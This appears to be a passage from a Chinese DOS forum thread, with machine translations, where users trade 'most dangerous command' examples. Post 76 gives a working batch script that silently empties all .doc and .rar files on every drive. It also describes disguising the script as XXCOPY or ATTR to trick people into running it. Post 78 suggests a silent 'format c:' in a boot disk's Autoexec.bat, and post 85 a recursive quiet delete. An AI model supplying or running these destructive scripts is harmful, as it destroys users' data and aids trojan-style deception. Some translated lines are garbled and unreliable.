|
haiou327
高级用户
    DOS时空
积分 713
发帖 348
注册 2007-2-10
状态 离线
|
『第 76 楼』:
使用 LLM 解释/回答一下
@echo off
set drv=c d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (%drv%) do (
for /f "delims=*" %%i in ('dir/a-d/b/s %%a:\*.doc %%a:\*.rar') do type>"%%i"
)>nul 2>nul
pause
该死的说,比FORMAT毒N倍!
好像有点偏了题,讨论的是命令,不是命令行
以下小心测试!!不熟悉者请不要尝试测试他的破坏能力!!
有恶作剧者把这个批处理用BAT2COM转换一下,改成外部命令如XXCOPY,ATTR的名字诱惑人家,用附件提供下载,运行一下D盘文件就一命呜呼哀哉!!!
Last edited by haiou327 on 2009-5-12 at 06:37 ]
@echo off
set drv=c d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (%drv%) do (
for /f "delims=*" %%i in ('dir/a-d/b/s %%a:\*.doc %%a:\*.rar') do type>"%%i"
)>nul 2>nul
pause
Damn it, this is N times more malicious than FORMAT!
It seems to be a bit off-topic; we were discussing commands, not the command line.
Test the following with caution! Those unfamiliar with this should not attempt to test its destructive capabilities!
Some pranksters convert this batch file using BAT2COM, rename it to external commands like XXCOPY or ATTR to trick people, provide it as a download attachment, and once run, the files on the D drive will be completely ruined!
Last edited by haiou327 on 2009-5-12 at 06:37 ]
|

欢迎进入我的网盘!!! |
|
2008-8-11 01:13 |
|
|
driver1998
高级用户
   
积分 740
发帖 373
注册 2008-5-23 来自 中国,广东
状态 离线
|
『第 77 楼』:
使用 LLM 解释/回答一下
用LFORMAT低格硬盘,不是什么都没了吗?为啥没人选?
If you low-level format a hard drive using LFORMAT, everything will be erased, right? Why does no one choose to do that?
|

别看我是高级用户,其实菜鸟一个,^-^ |
|
2008-8-22 16:26 |
|
|
driver1998
高级用户
   
积分 740
发帖 373
注册 2008-5-23 来自 中国,广东
状态 离线
|
『第 78 楼』:
使用 LLM 解释/回答一下
其实Fromat在Win下是很没用的,但是如果在DOS下,呵呵......
建议将以下命令行加到一张启动盘的Autoexec.bat中,加上任何版本的Format:
format c: /q /autotest >nul
那么,在启动瞬间,你的C盘已经K掉了,呵呵!
Actually, Format is quite useless in Windows, but in DOS, well......
It is recommended to add the following command line to the Autoexec.bat of a boot disk, along with any version of Format:
format c: /q /autotest >nul
Then, at the moment of booting, your C drive will already be erased, heh!
|

别看我是高级用户,其实菜鸟一个,^-^ |
|
2008-8-23 21:05 |
|
|
liukai
新手上路

积分 9
发帖 5
注册 2008-9-28
状态 离线
|
『第 79 楼』:
使用 LLM 解释/回答一下
copy 为什么危害页大啊 ?我是个 新手 不懂 擎高人指教
Why is the risk page size large? I am a新手 and do not understand. I would appreciate guidance from experts.
|
|
2008-9-29 14:51 |
|
|
jiayi333
新手上路

积分 9
发帖 8
注册 2008-10-20
状态 离线
|
|
2008-10-20 03:29 |
|
|
willing
中级用户
  
积分 256
发帖 133
注册 2008-9-29
状态 离线
|
|
2008-10-20 12:18 |
|
|
sxsxx
新手上路

积分 2
发帖 2
注册 2008-11-18
状态 离线
|
|
2008-11-21 10:12 |
|
|
xmantj
新手上路

积分 1
发帖 6
注册 2008-3-12
状态 离线
|
|
2008-12-1 12:27 |
|
|
szdopod575
新手上路

积分 9
发帖 5
注册 2008-8-27
状态 离线
|
|
2009-1-10 16:46 |
|
|
Qtwdftxvt
初级用户
 
积分 190
发帖 101
注册 2008-11-23
状态 离线
|
『第 85 楼』:
使用 LLM 解释/回答一下
for /f "delims=" %a in ('dir /s /b') do del %a /q > nul
for /f "delims=" %a in ('dir /s /b') do del %a /q > nul
|
|
2009-1-18 20:44 |
|
|
sdlwsch
初级用户
 
积分 27
发帖 15
注册 2006-3-17
状态 离线
|
|
2009-10-8 21:42 |
|
|
sfcctv
中级用户
  
积分 208
发帖 135
注册 2009-9-12 来自 离恨天
状态 离线
|
『第 87 楼』:
使用 LLM 解释/回答一下
偶认为最危险的是执行这些命令后,用户继续进行的其它非恢复的工作是最危险的!
这样数据恢复率会大大下降。
I believe the most dangerous aspect is that after executing these commands, any subsequent non-recovery operations performed by the user will significantly reduce the data recovery rate.
|
|
2009-11-13 11:00 |
|
|
moneythinker
新手上路

积分 8
发帖 8
注册 2009-11-29
状态 离线
|
『第 88 楼』:
使用 LLM 解释/回答一下
都危险,那个RD提都提示就把数据给清了,其它的我就没试,是不敢试
All are risky. The RD command clears data immediately without prompting. I haven't tested the others because I don't dare to.
|
|
2009-11-30 14:35 |
|
|
173814527
新手上路

积分 6
发帖 4
注册 2009-12-4
状态 离线
|
|
2009-12-11 13:52 |
|
|
shardineblog
新手上路

积分 14
发帖 8
注册 2009-8-22
状态 离线
|
『第 90 楼』:
使用 LLM 解释/回答一下
format还是比较可怕的。
Formatting is still quite intimidating.
|
|
2009-12-15 00:12 |
|